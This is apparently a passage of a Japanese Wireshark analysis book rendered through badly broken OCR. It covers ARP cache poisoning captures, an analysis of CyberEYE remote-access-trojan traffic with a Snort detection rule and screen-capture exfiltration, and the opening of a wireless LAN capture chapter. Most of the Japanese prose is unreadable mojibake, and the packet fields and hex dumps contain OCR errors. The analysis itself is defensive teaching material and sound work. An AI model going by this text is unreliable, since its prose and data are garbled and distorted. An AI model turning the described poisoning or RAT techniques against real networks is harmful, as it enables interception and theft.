No. Time Source Source MAC Destination Dest MAC Protocol Info
54 4.171500 HewlettP_bf:9l:ee HewlettP_bf:91:ee Dell_c0:56:f0 ODe'ILco:SE:fO ARP who has 172.16.0.107? Tell 172.16.0.1
655 0.000053 Dell_c0:56:f0 Dell_c0:56:F0 Hewlettp_bf:91:ee HewlettP_bf:91:ee aRP 172.16.0.107 is at 00:21:70:c0:56:F0
56 0.000013 HewlettP_bf:91:ee HewlettP_bf:91l:ee Dell_c0:56:F0 Dell_c0:56:F0 ARP 172.16.0.1 is at 00:25:b3:bf:91:ee

$10-16 DellD#2E & HPDHEEREDETWHEARP FZ 7 1 v ¥

AL, OB DboTWEL Y PR, VMR TBEEL L), £10-3ICFLHF
L7z

®10-3 BETBHIRFIb

&2 |~ 45— [IP7RLZ IMAC7 KL Z

L= Dell 172.16.0.107 00:21:70:¢0:56:f0
V=% Cisco 172.16.0.1 00:26:0b:21:07:33
BUEH HP AW 00:25:h3:bf:91:ee

S




——
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TRABZDONT T4 7% FWICLTVWEDTL LI D6 6FHDARPIZOVWTOFHHZ BV L
TIELVOTTA, ARP X7 v MIE 2200547, DFNY VAR VARV ABHNET, V7
IA RNy ME FEEDIPT FL RGBT 5N/2MACT FLAZFO< Y Y & JoF 5729,
A MNT =7 FOTRTOEZFICTO—FF X A LTEONET, SNIZEDY 7 AMEEEL
ToRERERINE T AR Oy MR ESNET, 2H L2 e HE XL L, ZoMmiEICE
W OB T,

eI SATFH D287 v FASMAC 7 K L A 00:25:b3:bf:91:ee DB H 5 5, MAC 7 F L A 00:
21:70:c0:56:50 D EH L RIE SNZARPY F TANTHH I ETTO, ZOfD) 7 T X M,
2 hT =27 EOFTRTORAMITE=FF Yy A MENLRELDOIC, WEZEFEHE Y -7y ML
TVET, F22087y MIBBEE DL RE SN DT, ARPAY FITIZBEHDOMACT KL A
PEINTVBIZLEDLLT, IPT LRIV =5 DLEDEL>THET,

ZORTy vOBHEIZIE, MACT FLATERE GALBEERADP OOV AR Y AP BEZITHRLNT
WETO, BALVIENEETVIDIES6FHD/ v T, WBEENESTZZDOARP L AR Y
1%, IP7 KL A 172.16.0.1 ® MAC 7 F L 2% 00:25:b3:bf:91:ee 2B 2 TV AHDTT O, LD
13, 172.16.0.1 ® MAC 7 K L A 1%00:25:b3:bf:91:ee Tid 7 <, 00:26:0b:31:07:3372 &\ Z & T,
172.16.0.1 DN —F 387 v b ¥ ¥ 7F X DIRHDIF ) THEEZH L LV LTW DT, TOHFEN
bhroTWET, ARP7I I MIEEF 27 ThWzd (—HIIZEY DT 5N/ZARPY 7 T A
ARP7T — 7 IVIZRMLEE3), BEFHIINV—FIATKREN T 74y 7 &, WEFITE-STLEI &)
WD E L7,

o A
COIT Y hF v TF v [EHEEDRA S EDBHDBEDT., 2FKRIEROSNFEA. E

BRICHEBZLENT D (CIF. WEEDOREIMRSEDOHECHDEIL—FICBLATED
fedIC. —EDNT v b )b—F [CEBUEITNRED FEBA. LIALINSD/ Ty
NziEER T BICIF. IL—F (HDVEFKEE) LD/\(Ty b+ TFvHUETT,

MEZ ) L R10-17D X912, #HEE LV —y HOMEPWRENERNE T,




——

222 | 108 ©FIUT &)y MET

ARPRT—T4VJRE
(WEEDSDRR)

Who has 172.16.0.107? Tell 172.16.0.1'
SRC MAC:
00:25:b3:bf:91:ee

DST MAC:
P 00:21:70:¢0:56:f0
172.16.0.107 is at 00:21:70:c0:56:f0
% SRC MAC: %
00:21:70:¢0:56:f0
Jb—%4 (Cisco) DST MAC: #wEE (Dell)
172.16.0.1 WEE (HP) 00:25:b3:bf:91:ee 172.16.0.107
00:26:0b:21:07:33 00:25:b3:bf:91:ee L 00:21:70:¢0:56:f0
172.16.0.1 is at 00:25:b3:bf:91:ee
SRC MAC:
00:25:b3:bf:91:ee
DST MAC:
00:21:70:¢0:56:f0

ARPRT—T4 V7 DIER
(WBED ST 10 7ITEIVIAL)

e B -

=% wEE wEE

E10-17 ARPX vy 1K1V JICEZREERE

57T B Oy M XYV HBOWI PR TEE T, SO T v M, HFIWHRARPMZ 74 v 7T
IZEo7%r v b (40FHARY) L2 L (E10-18). U E—FDH—,3 (Google) DIPT FL A
BEA L TT2@. 5iEDOMACT FLADZLE DS TVETO, MACT FLAD L b o7l bnb, B
ENT T Ay 73N =8 ZiBT HHIC, WELEERHL TV b 9,

COUBIIARMH 2O T MR LRV E T, 29 LAKBEHICHESh
IDSOWF 2D 75 ARPF— 7 VLY M DRALERZMRINT A LI KSRV 7y 2778
VETT T LTV DAy b T =27 LDy b d X 7 F v §T5720ICARPF v v v a2 R, V=V
TEIMTLIEDELRBTLEID, BHNORIZL V) ZEEH>TBLRETT,
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P

g
[ 20 0.000013 172.16.0.107 Dell_c0:56:0 74.125.95.147 Cisco_31:07:33 TCP 45692 > 80 [ACK] Seq=610079507 Se-B ] = [E [ = ]

# Frame 40: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) -
E Ethernet II, src: Dell_c0:56:f0 (00:21:70:c0:56:f0), Dst: Cisco_31:07:33 (00:26:0b:31:07
pDestination: Cisco_31:07:33 (00:26:0b:31:07:33)9
@ Source: Dell_c0:56:f0 (00:21:70:c0:56:F0)
Type: IP (0x0800)
= Internet Protocol, Src: 172.16.0.107 (172.16.0.107), Dst: 74.125.95.147 (74.125.95.147)
version: 4
Header length: 20 bytes
@ Differentiated services Field: 0x00 (DsCP Ox00: pefault; ECN: 0x00)
Total Length: 52
Identification: 0x97bf (38847)
@ Flags: 0x02 (Don't Fragment)
Fragment offset: 0
Time to live: 64
protocol: TCP (6)
Header checksum: 0x4c79 [validation disabled]
Source: 172.16.0.107 (172.16.0.107)
pestination: 74.125.95.147 (74.125.95.147) o -

< | 11l ] »

POLTVNO0 26 Ob 31 07 33 00 21 70 cO 56 T0 08 OORCEENY]
0010 00 34 97 bf 40 00 40 06 4c 79 ac 10 00 6b 4a 7d
0020 5f 93 b2 7c 00 50 24 e6 67 53 a7 bf bb c1 80 10
0030 00 6c 56 ea 00 00 01 01 08 Oa 00 08 f3 a5 bf &b
0040 73 1la

\ J

r i T N
[ 57 1.906795 172.16.0.107 Dell c0:56:10 74.125.95.147 HewlettP_bf:91:ee HTTP GET /complete/gsearch?hi=endie®. ] = [ B | 3 ]

=

# Frame 57: 960 bytes on wire (7680 bits), 960 bytes captured (7680 bits) =
= Ethernet II, Src: Dell_c0:56:f0 (00:21:70:c0:56:f0), Dst: HewlettP_bf:91:ee (00:25:b3:bf
[ Destination: HewlettP_bf:91:ee (00:25:b3:bf:91:ee) t’
@ Source: Dell_c0:56:f0 (00:21:70:c0:56:T0)
Type: IP (0x0800)
2 Internet Protocol, Src: 172.16.0.107 (172.16.0.107), Dst: 74.125.95.147 (74.125.95.147)
version: 4
Header Tength: 20 bytes
@ Differentiated Services Field: Ox00 (DsCP O0x00: Default; ECN: 0x00)
Total Length: 946
Identification: O0x3afl (15089)
@ Flags: 0x02 (Don't Fragment)
Fragment offset: 0
Time to live: 64
Protocol: TCP (6)
@ Header checksum: O0xa5c9 [validation disabled]
Source: 172.16.0.107 (172.16.0.107)
Destination: 74.125.95.147 (74.125.95.147) " -
< | I ] 3

[(VBNO00 25 b3 bf 91 ee 00 21 70 cO 56 T0 08 OOREEIY]
0010 03 b2 3a f1 40 00 40 06 a5 c9 ac 10 00 6b 4a 7d
0020 5f 93 b2 7b 00 50 24 59 «cf 77 62 34 b0 c8 80 18
0030 01 64 5a 30 00 00 01 01 08 Oa 00 08 f9 cl1 a8 ef .dzo. ...
0040 7f 69 47 45 54 20 2f 63 6f 6d 70 6c 65 74 65 2f LIGET /c 2mp1ete/

nncn &7 73 &5 &1 73 £3 £¢ I £Q &~ IAd EC &~ DE EI & nennreh? hl_ans-

15

H10-18 5E5EMACT7RL ZADBALP HWEBOKIN & RT

10.2.3 UE—M7I7ERABO MOAL DK  ratinfected.pcap]

ZZETE, FYTFrE2WRLHIS MR ETHWLEO0DN bR TnhEF2 ) TADNT TV
FRTEE L2 WEPED L)AL DD EZRIIRCEETTN., T VHAEWTEHY
Hho EBOTVFVATIE, v M= BHOLFEEZEI A2 DS, v T — 27 %27EKTEHTX
TONT Y b T 283D ERA ZORDY, MEPDIDSEH>TAY T =2+
T4y ZICBERHNTBEENRETLIICTLIET, HONPLOERLLEY 74 F v 2D
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LT, EORBREPITALEIICLTVET,
ROZF VAT EROFHTO L HI12, iR EEPLHROELL)o T2 TIFIDS (Snort) #°
ROEH) BHESEZHLTVWET,
[**] [1:132456789:2] CyberEYE RAT Session Establishment [**]
[Classification: A Network Trojan was detected] [Priority: 1]
07/18-12:45:04.656854 172.16.0.111:4433 -> 172.16.0.114:6641

TCP TTL:128 TOS:0x0 ID:6526 IpLen:20 DgmLen:54 DF
***AP*** Seq: O0x53BAEBSE Ack: 0x18874922 Win: OxFAFO0 TcpLen: 20

ROBEREL LT, COBELEZGERI LI 7ATF V-V EHFRELET,

alert tcp any any -> SHOME _NET any (msg:"CyberEYE RAT Session Establishment";

content:" |41 4E 41 42 49 4C 47 49 7C|"; classtype:trojan-activity;

s1d:132456789; rev:2;)

OV —)ViE, 16D T 2T 21241 4E 41 42 49 4C 47 49 TCHEEND /87 v PN
v PT=ZIRALTERS, BEE2RTLIIRESNTHE T, 20T VT Y IEWHRTHES
ASCII7:& [ANABILGL] & &0 F§, Tkl SN b L BEDEE SN, CyberEYEIL L %) E—
b7 7220 ba 4 OAE (RAT/Remote-access Trojan) 2SAEFES 5 W HeM: 2 1 58 £ 4. RAT
BHEROKRZ P ETRERICET SN, WREANEEBTLEEHL 7077 LT, THUTED K
BEEIWEAOI Y V2V E— MMET LI L HEERDE T,

W 8

CyberEYEIFRATEIT I 7 A JLZIER U, P UICRRA M ZBD2HD. MLIOEFEN

.‘3 DERIEY—ILTT. FAICH. SnortD)IL—)LCHBEUICOESZHITHLDIHREL
fc TANA BILGH &(&. MUTFET [EXER] EVWDEKTI .

48137 7 4 ) ratinfected.pcap DEHFICHET L 8T 74 v 7 ERTAEL L Do TDSnortD%
B WHEBEEOIRE o7y MO 2R Y 7 F Y LETH, F0haI LI, STk
A NE DR Y — 4 v AR Z TR TET T RO L HIZSnort DIV — )V TED 72 16 L FH) 2 1R
FLET

1. A=a2—»5 [Edit] — [Find Packet] ##RL T3,

2. [HexValuel 94Ky Y%7V v 7 F7,

3. THRANDEIAL [41 4E 41 42 49 4C 47 49 7C] ZADL T,
4. [Find]l K% %270y 27 LET,

FFAFHOr » bOF— 7 35T LD LFH B RON 51337 TT@ (K10-19),
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P
[ 40.000985 172.16.0.111 172.16.0.114 TCP 4433 > 6641 [PSH, ACK] Seq=1404758878 Ack=411519266 Win=64240 Len=14 l&‘@ E@g

Frame 4: 68 bytes on wire (544 bits), 68 bytes captured (544 bits)
Ethernet II, Src: vmware_07:ae:27 (00:0c:29:07:ae:27), Dst: HewlettP_bf:91:ee (00:25:b3:bf:91:ee)
# Internet Protocol, src: 172.16.0.111 (172.16.0.111), Dst: 172.16.0.114 (172.16.0.114)
Transmission Control Protocol, Src Port: 4433 (4433), Dst Port: 6641 (6641), Seq: 1404758878, Ack: 411519266, Len: 14
= pata (14 bytes)
Data: 414E4142494C47497C3535360D0A 1
[Length: 14]

0010 00 36 19 7e 40 00 80 06 88 42 ac 10 00 6f ac 10 .6.~@... .B...o.. -
0020 00 72 11 51 19 f1 53 ba eb 5e 18 87 49 22 50 18  .r.Q..S. .A..I"P. —
0030 fa fO be 2b 00 00 FEEFNEFEVEFRIEVIETINIGEF ...+ TEEGESIE H
0040 EEEEIEICE [56. "]

X10-19 4FEBD/Xry FCSnorntDESICH - =XFHNROh 3

[Edit] — [Find Next] 2 =2 —3~< ¥ F&AER#DE3 &, 5, 10, 32, 156, 280, 405, 531,
6527 H D/ v b CTO ZOXLFHINEONNE T, ZOF v 7F ¥ DT TOMENBEY (172.16.
0.111) EHEH (172.16.0.114) DB OB DT I, LFFNDH 572787 v MIBEB ORI FHIE 7
AoTWBEITYT, AFHESFHD /S v MI4433F L 6641 F DR — baflio TV 2% 1Ih
DTy FDIEEAED I3 FER—TFE T VT LICEIREN AT T2 XS VK- 2o THET,
[Conversations] %4 7127 ® [TCP] # 7% WU, HEONGEOFEAAI MR TE T T (K110-20),

[ Conversations: ratinfected.pcap E‘Eﬂ

[ Ethemet: 1] Fibre Channel | Fopi | 1pva: 1 [apvs ] 1px | néra [ nee | Rsve ] scTp ETCP: & [ Token Ring [ upp [ use ] wian]
TCP Conversations
Address A 4 Port A 4 AddressB 4 PortB { Packets 4 Bytes 4 Packets A->B 4 BytesA->B 4 Packets A<-B 4 BytesA<-B 4 RelStart 4 Duration ¢ bg
172160114 6641 172160111 4433 48 2989 24 1589 24 1400 0.000000000 1321296
17216.0114 6642 172160111 4433 10 585 6 343 4 242 0.012008000 1321178
172160114 6643 172160111 4433 120 91537 &7 89730 EE] 1807 74.205235000 0.0660 1t
172160114 6644 172160111 4433 120 91537 a7 89730 33 1807 84.209773000 00701 10
17216.0114 6645 172160111 4433 121 94050 89 92 297 32 1753 94.225097000 00730 1
172160114 6646 172160111 4433 122 94866 a1 93167 Eil 1699 104238408000 00718 1
17216.0114 6647 172160111 4433 119 91473 87 89720 32 1753 114.238812000 00703 10
17216.0114 6648 172160111 4433 119 91478 87 89725 32 1753 118.445540000 0.0664 10
< 1 o
Name resolution Limit to display filter
J

\

10-20 WEE EHEZEDOBICIOOMENFELTVS'

BT THZEIlE T, TENENDONFE L PETHIENTEET,

1. [Packet List] X4 > ® [1i2d % [Filter] K 7 AT, [ (tcp.flags.syn ==1) && (tcp.
flags.ack == 0)] W5 74V %EANL, [Applyl K% v %27V v LEF, TNTLT
749 7 DERFFTEORYOSYN /X v MAEINTE F T,

2. WDy M&42 Y v 7 L, [Colorize Conversation] % #RL F 9
[TCP] ##IRL ., % B E T,

FHODSYN /STy MZOWTH A L 7a e 2 %D RL, ZREFNUICOVWTE) MEROT T,

T RARE  WEEORII8 o0 L b E T,
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5. T L75 [Clear] 227Uy 27 L. 74 VZZHIBRL ¥,

WiEE S T5E, HOREIHBELTHuLIPB R Thbrb L) IhDDT, 200K A MiD#
fELEL 2 B L9 <) £ mAMOKGE (66417, 4433 F R — ) T2ODFRA M MED U T -
TVWBDT, TIPBIHEDLIDONEINTLL ). HNFHEHNDO Ty boENr%i4i7Y) v 7 L, [Follow
TCP Stream] ZEIRL T, VWY SN TWEF—2 2B L ¥ (K10-21),

BN, BEE D S W EH 0 L CANABILGI| 556 £\ ) 7 F A b XWFEHDREE SN TV B D)
ORIV ETQ, X5ITHEFIE, T2 ¥ a— ¥4 (CSANDERS-6F7F77), ] L CTv:5 0S (Windows
XP Service Pack 3) % E2 &L AN YV AT AEREZ LV AR AL LTHR-TH L, BEHIC
BAGLIMI? &\ 9) U7 % 2443 LT £ 40, BUER A5 A SN 72581513 CAPSCREEN60 &\ 9 XL
FHODAT, ZhF6HNTVET,

WA 6 K H) S 7z CAPSCREENGO &\ ) LFFIARII 25D T, M ERT 200, Hro
ERTHELLH . BEMEKS A T 2\, [String]l £ 72 a>2#EL T, 287y PNTZO
THXFAMLTHNERELE T,

—
i Follow TCP Stream

| rStream Content

ANABILGI|556 @
P) ANABILGI|192.168.126.143|us|ratl|No|administrator / CSANDERS-6F7F77 |[windows XP service
pPack 3|Intel(R) Core(TM)2 Duo CPU T9600 @ 2.80GHz|511 MB|1.2|7/18/2010]

BAGLIMI?
BAGLIMI?
BAGLIMI?
BAGLIMI? @
BAGLIMI?
BAGLIMI?
BAGLIMI?
CAPSCREENG0
BAGLIMI?
CAPSCREENGO
BAGLIMI?
CAPSCREENG0
BAGLIMI?
CAPSCREENG0
BAGLIMI?
CAPSCREENG0
CAPSCREENG0
BAGLIMI?
BAGLIMI?

|Ent\re conversation (373 bytes) |Z|

’ Eind ” Save As ” Print lc) ASCIT © EBCDIC  © HexDump  © CArrays @ Raw

’ Filter Out This Stream ] [ Close

X10-21 BRIIOMEFELSEAVERI H A 1N—-2321.8.0)

COMREFETTHE, WON2THFEB D/ PTLFHIBEO0Y T30 2 OHRASBEIRZE VO

S




——
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. SCTHIBHEREPS 7 IA TV MIREONEET L 7 TAT VA8 bOZITH) 2R L
T 29T HD Ny FTH LU E > TwAH I ETY,
COHLVKHEFEOTCPA M) — 20 W) 2B $ 5 & (K10-22), W h72XFH TH b
ANABILGI|556 2SHIZAYD, €D dH LITSH|556 &\ LFH, H 2 CAPSCREEN | C: \WINDOWS\
jpgevhook.dat 84972 & HiWV T W E §@, CAPSCREENDH L2 7 7 A WXANIRE SN T W
ZDHEIRFHARLT FAMDPH L LIZHAILTLLEY) e SSTHHV DR, FHAREZRTFA D

AITFIF & W) SCFHOEFIEINENTWSE Z & TO. UL Google K& 0T 5 L JPG 7 74 )V
DFHIAFIET HHDTLI.

Il Follow TCP Strea

Stream Content
ANABILGI [12
5H|556

CAPSCREENlC \HINDOHS\]pgthook dat | 84972

@IFIF........... .

)10 )-,3:31>36F7,-
@'HAFLNRSR2>ZaZP JORO...C....... &. . &05-5000000000000000000000000000000000000000000000000
O w. k

Yv2e@. j.q.ar6f.we. .

L#.P. .MOR, clcdlancod”
]6 UM, I. ( Dk

|Ent\re conversation (85033 bytes)

’ Find ” Save As ” Brint lc\ ASCII © EBCDIC

) Hex Dump @ C Arrays @ Raw

’ Filter Out This Stream ] [

Close

[10-22 HBENIPGT7IIDIVI I EFEALEIELTVS (N=232-1.8.0)

CORERTIE, HBEFIIZDIPGA A — VAT L0 MG L7z L HBF L CwnTL &
Vo LRLELICEELRDIX, SO T4 I M5~y FOMEDN R Z 52 L TY, CAPSCREEN
WBBEZEDIPGA A — VR ERTH20ICRE L-a< Y FO X ) T, &
BEEENL L, WOBKRIIFA LT, TNERFET H121
X 912 Wireshark ® 10 775 7 BBE 2 v 37

FEER B CAPSCREEN 2~ v N
2iE, BREEDA M) — 2 ' BB kD

1. [Statistics] = [I0 Graphs] Z&RL 9,

S




——
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2. 74J)V% tcp.stream eq 2, tcp.stream eqg 3, tcp.stream eq 4. tcp.stream eq 5.
tcp.stream eq 6%, 520D T A NI FA T TIZENENIHALE T,

3. [Graph1] [Graph2] [Graph3] [Graph4] [Graph5] ®F¥ > %27 Vv s L, FEL7=74
NEDTF =R Y EAILET,

4. Yo 24 —V% [Byte/Tick] ICZBL ¥,

10-2323¢D 777 T¥,

3 Wireshark IO Graphs:

Graphs X Axis

IGraph 1] Oolor’FUter'.] ‘tcp.stream eq2 Tick interval:|1 sec
Pixels per tick: ‘5
View as time of day

IGraph 2] Color[FUter'.] ‘tcp.stream eq3

IGraph 3] ’Fﬂter'.] ‘tcp.stream eq4

Y Axis
IGraph 4] Oolor’FUter'.] ‘tcp.stream eq 5 Unit: |B\.rtes,-'Tick

EGraph 5‘ Colcr’FUter'.] ‘tcp.stream eq6 Scale: ‘Auto
Smooth: |N0 filter

Help Lopy Save Close

[10-23 RUEEBNIRESNhTVWAZEERTITT (18— 321.8.0)

o7 7I2E N EHEEICHLREOT—IFEENTVWT, ALREDL) T, TATID
WEN DA ) E STV LI TE £5,

R ENTZJPGA A=Y DIV T U220 TIREEN DL TLL YA, TNSHIJPGT 74 VD
B EBICEAONLENE ) 2L TAF L X 9. Wireshark Z T JPG 7 — % i3 51213, &
DAT Y THRFTLET,

1. FTHI10-22DWOLFHETHBLIZLH I, X7y FOTCPA M) — 2 %8 LE3,

2. WEESELT, WEEDPLIBRAENEONLZTFT—F AN —2DAEZBHMT LI L TEE
9, ZN%E47 91213 [Entire Conversation (85033 bytes)] EFERENTWAL ROy 7%
Y ORI & BN L, 172.16.0.114:6643 --> 172.16.0.111:4433 (85020 bytes)
ERBEHICLET, FT T4 vy (RH) OREITERL TS v,

S




——
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3.

[Save As] R Y CTTF—F 2 LT T IETZ .jpg b TH5DEENLWVE )T,

ZDARXA=TVT7ANVERIIELTOHAPRVDOTHDLTEIND LNEFFAN, b9 1EHEK-T
WEg, 8§“C“FTPI\57477#!‘977411/’255111&1,#}:%2: IRBY, ZONT T4 ZIIRED
WEICT— 7 EMEhTwET, TCPA M) — 20RO 2T M If OREDIT SV Fy—7r v
AD—FRT, JPGEMEE LTV EHF =7 Tlddb ) TEA (10-24)0 AN) =22 ffTHE. 2O
BT — 7 b EIN T T ZORE JPGT 7 A NN FEZHET 774 V2 —TF, HEL TS
ANy F LR LB VWHNEESHT L2 L &2, BEDBH» RO TT,

@ Follow TCP Stream &)

rStream Content

|-

556
{{CAPSCREEN | C : \WINDOWS\ j pgevhook dat 84972

«| n | »

0>

)10 )-,3:3>36F7,-
QWAFLNRSR2>ZBZP JQRO...C....... &. . &05-500000000000000000000000000000000000000000000000000. . . . . .

#B...R..$3br..

r. ::‘.n;z...u<.....D....K..."...A.e.)@..d..eRr.G?
7 Ly Ercliscsace ERATIL oo 50 YV2Ze@. j.q.aR6f.wB..Z..+....A

o ] | IR e w28 IMOR TUT ) T o2t
o Bl AL S..kn#.<.Q.m.. ]EUJMI( )..!)h....e....E ...... Ma.

R [ B LT e e [ AP

ANt a(e I
g BA@W,..M.]H..q.h# Tl p Peeees QP L. Ty, ME2, .5, E7u&F(Q. AL L. Fi24. 03,
s v.Tl..2D. .TET..K..W.

-

[SaveAs]‘l']Z.lﬁ.O.llAt:ﬁﬁG > 17216.0.111:4433 (85020 bytes) E](, ASCI @) EBCDIC © HexDump © C Arrays @ Raw
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o ML L HILZH| AR LV I ATy ERHRET,

o JIUAFIYNEBNING T4y 7 ICHHETHI LR MERLET,

o 574y WAL, RASNIRA NCTHBENMETo /2% ROTFET,
o WEANDLISICEELFMRATRNL IS, MEOLEZHELE T,

10.3 F&&H

X)) T AT LI FVFIIBIT L8y b Y TF v O AR, — Mk BEEOEHT, IDS
XD EEANOMIBZZT T, ORI E T EF . COTTR—MM%RAF v > LHIED Tk, i
TR, VAT LANORAZHT22200FEH, FAMPEEINTRERSWOENTL £ o 728461247
AR POV TIHII L £ L7z
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M=
HEELAN QOINT v MR

WAL LAN O 53, S0 % ARLAN 134 %4359 b DTS, TCPRIP &\ o 72—k 22 5812
T baNEH) HIZFEI L TTAS, OSIZBIETFT VD T L ANV EFHEBD A Eb>TET T,
WAL W FEDTD, 7= ) Y 7 EIPFICEEIL L > TLADTT,, CORBOREDD, 77
YATELTF =7 X TF T HHENLEboTEET,

FAEZDLE, THFEHIEEFEBLANTONNT v b5 X 7 F v LITICH TTHIABETE LV
TLEYo SOFTIE, N7y MET OB T, Z¥ERLAN RN 207, 22008 &9 F
DA BNZONT, HBHAAMBMILAN TSy b3y 7F X OEFZHE U T, UL TVEE T,

11.1 MEETOER

MARLAN THEE SN TWAETF =23y 7 Fy L, T 5L XI2ETE 2 RITNEVITRVOIE,
WP i R R T CNFCTIRIAN 7 — TV CEBELTE 720, WHBICOVwWTIEFE 2 TX
FHATLZ, L LR LAN TR BICR Z 2WEE TEEZFTV. 237 v IR Hh 2RO ) DT
D

1111 —EBRR1DODF v IRV EFTYTFv TS
BHRLAND T 7 4 v 7 OF v T F v T—FIFEMN 201, MMHRO B BEEAIR (A7 bF L) 28
HHEENTVBBRZE W) ZETT, 27747 Y IHEBDOLAN 7 — 7 IV TAAL » FIZHHE LT
WHHRLAN & 8700 | R LAN OBEBRKIZ Y 54 7 ¥ MITHA ShA R T, RO AH 0 $§,
bold, HDMMHLANAS802.11 O BRI E D2 EEIZIIADDLT RO T, IO R
AW IR D e 7 o R, W U ZERICB W CEIfECE 20T,

)
AR LAN(F. IEEE CKEBKIIBEFIIMERR) MRE U802 11 BBICEDLTLET,
CDEICEIET DEELANIFE02 11 ITER LIz DD ERIRE LTVET,

S
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234 | 1B FRLAND) 7w N

W OGE, BB EF v Y AVICHET LI ETEILTWET, Fv 421 &13802.11
D WEAERE W BRI A HALZE L2 0T, RENZZ11OF v AV HY 5 (Bl L-oTidE
N EDF ¥ v AADDEYELHYVET) To BRLANIZ—IEIC1DODF ¥ ¥ RV THEFET 20T,
FEIC120F v Y ANV 22Xy 7 F 352 EDUHETT (R11-1) TD20, 722 21 3F ¥~
ANV6DEARIANZ VT TN 2a—T4 V7 T5HLEITUL, FY Y ANV6TDONT T4y TRy TF ¥
THEIEBRERETLLENHE T,

1
2
3 ()
4
5
6
7
8
. IR R
BRI AT b % ALk
11
R
MFr>xib)

K11-1 FEFC1DDF v > XIUDF + TF v TEHEVDT, EBIELANDF v 7'F + ($mEfE

W N

. GIRHEEELANDF v 7F v IFERKFIC1 DDF v RILTUNMTAFEAD. HIAH

‘,'3 R 1DRIFHEDERT —BDERLANAFvF 7 TUT—2 3V T—5FZNET DI
N BDICRBLF v URIVETDERD [FroRILRvEY I EVWSTU 2w =R

LTWET. BTN THRICHERE Y —)UhKismet (http://www.kismetwireless.net/)
T. 1WEICRE1I0F v VRIVETYDBEZ DT ENTE. EHDF v RILZERBRIC
FvIF v CEFXT,

11.1.2 BRLANDOERTH

MR X B TIE LIZLIBZHT 2 ER SN T BT — 7y OB ZMHETELRWER DY
To BFEFRFETEEA~NTHT 2 LMRETT . EHLANICIE T HIC 0L 2 BERE D i -
TVWETD, END) FEL R VEELHDET, Lo THERIAN TN v MaF vy TF 1§
&I, BEREFFTLH0, HTRERDD, BTV Y, 24GHz0 32— FL AR, [Fw
BE, BEEODLDE VS 72 TFEBIAE ISRV E R HERTLLERH D ET. SNHIZ Yy MYk,
TN v b, RIERIEROr y b2 EOBFRICRD £,

Fr U AVHOTHELEELIL L) MFICI2OF v Y AV LPF Y TF ¥ TERVEITVA,

T ERE HRATRUOF v YAV TEE T,

S
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CHUTIZAE T OFEDSLIETT . M LAN O BB IR CIIBEBOR 55 F v AV FH AW RET
FTHL WHAR SN T WA D, R11-20 L HI2F v Y FUVFALETRREHELTVE T, 2FhF v
YANAEF X YRV TTA I HRBHBELEEIL, ELLDPDF v ANV EF T Ty LTS E
T2 )= HOFX Y ANDONTy b edy T F Y LCLEISEENDHLOTT, —FIZiE, ML
P HAFET 2 MBMLANGE, HWICERLZVIIICFy 2001 6, 1129 L9 &itshTw
5720, ZOX) BB I VIO TTY, H—OLEIii, e ) LI2FEIEL L0
HHfRELCBEELE D,

F oY RIVEEED
1T4 FRIRAE (GH2)

2.402GHz 22MHz 2.483GHz

11-2 BEREEHEEPRONTWB1=BHICF v > XIVAIEHEEL TS

11.1.3 TRETFH=RE. BFITS

BERTHONG TN Y 2—F 4 ¥ 7%, Wireshark /37 v 82 R 5723TTEL LX) RbDTIED
DEEA WMLAND NI TNy a—T 4 ¥ 7 TREEZMD 01, ERMBRTHEHERT 5
DEDRHYET, T, BEOAET— 7 RRBEEIBOTHEFERT LY =V, AN NI LTS
FA YR ZIETHETT

BEMDOART 2T AT FFAFRIET FVELETH, HEMICHEZ V) 2a—2a v b E5,
MetaGeek ® Wi-Spy & 9 L, 802.11 W B RO T#:% B #l 3% USBHE#F T3 . MetaGeek
@ Chanalyzer £\ V7 b7 = 7 EflAEDLES &, Wi-Spy lZFkEAFHE R Ly 716 LT
nNEd, ZofER11-31TRLE T,
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® Chanalyzer 3.4 o)

Fle Edit View Recordngs Reports  Help

StartPage | § WiSpyDBx[1] ¢ WiSpy24x[1] | [S] 24GHz - AV Transmitter - 5 Channels - Good Recording.short.wsr &

SILON EEERINNBIER HOLDIASNI

0:00 o Timeframe: 5:07 ® 5:.07 5:07

11-3 ChanalyzerOH & - TR U THERBOEIRLANDEIEL TV B2DHHA S

11.2 ERLANH—FOE-—F

MARLAN O v b ¥ X 7F X350, MHLAN 7 — FOE—=RIZOWTHI->TBEEL LI,
HEFLLAN ) — FIZIZ4FHOE— F2H Y T3,

Y=Y RE-FK'
RA—VFE=-FTI, 279547 MET7T 27 EAKAL > (Wireless Access Point : WAP)
WEEERLE T, SOT—FTIE, 7547 Y MET7 7 AR ¥ MEEOHI#E 218
9,
TREKy7E-K
TRy ZE=FIE 7947 MALOEHEEREZAN L GRE T2 L &IV ET, 20
E—=FTIRIBREZITI 22007 FA T Y M8, T2 2ARAL ¥ bOAHYITEEZHIH L E5,
YAEZ—F—F
NA LY FREMLAN 7 — Flid, Y AF —FE—FHE—FLTVET, ZDE—FTIZ,
B RIANY TR T2 TIZED, 2F9AT VBT 7 AEAL VDX fkdl 24 2
EVRTEET,

T B R LAN QMR TIEA Y 7T AN T 7 F v E— FEMERI EDPLVTT,

S |
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EZF4—F—F
MDD EHEELE—RFRTT, EZF —FE— FOMFLAN 7 — &, T— 7 DO%EZER
FibhFIZ, MOL) Ny b L72wE ZI2HWE ., Wireshark THEEFRLLAN /347 >
Xy 7 FYTAEER FXYTSTFXTLA 02— Y OEHLAN H — FAE= ¥ —F—
FEHR—PLTCVELEFDHYVET, X7y bFrTF ¥ T 5720 LAN # — F & B

HL&iF, E=F—E—F (RFMONE—FEBIFENFET) 2 K- FL TSI LEhER
LTL7ZEE v,

MEMIAN I — FDIFEA LI A=V FE—FRT FRAY 7 E—FilhoTwE T, FE—FOE)
EZR11-1412R L E T,

TR—IFE—F
AN e
ff — —
Y i ToRREAT Y i

TRRYIE-F

(RR%—)

EZ4—E—F

94Tk
(E=%—H)

11-4 ERLANH—RKOE—K

S |
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N HIRLAND) (T MMEITICIE EDEBLAND— RAKWVDERKBENMNE T, WBES

,‘s . DESTWVT. —&SEND LIZLIDD TALFA 1000mW USB] iR 75 TH T ED

~ Wy NCBREICF v IF rTED. Ho L HENLERE LTEFHESNTNE
T A=y b EQIVELZ—F/I\—RDTT7YA bORFTAFORETT,

11.3 Windows ETOFERLANDIN Ty bF+TF v

EZY—E—FEHPR—FLTVLIEHRLAN 7 — F& Mo TV ThH, Windows DLAN S —FF
ANTIZZFOE—F2[) 2B TEFHA WinPcap b E—FLTVERA) F¥YTF ¥ 21T
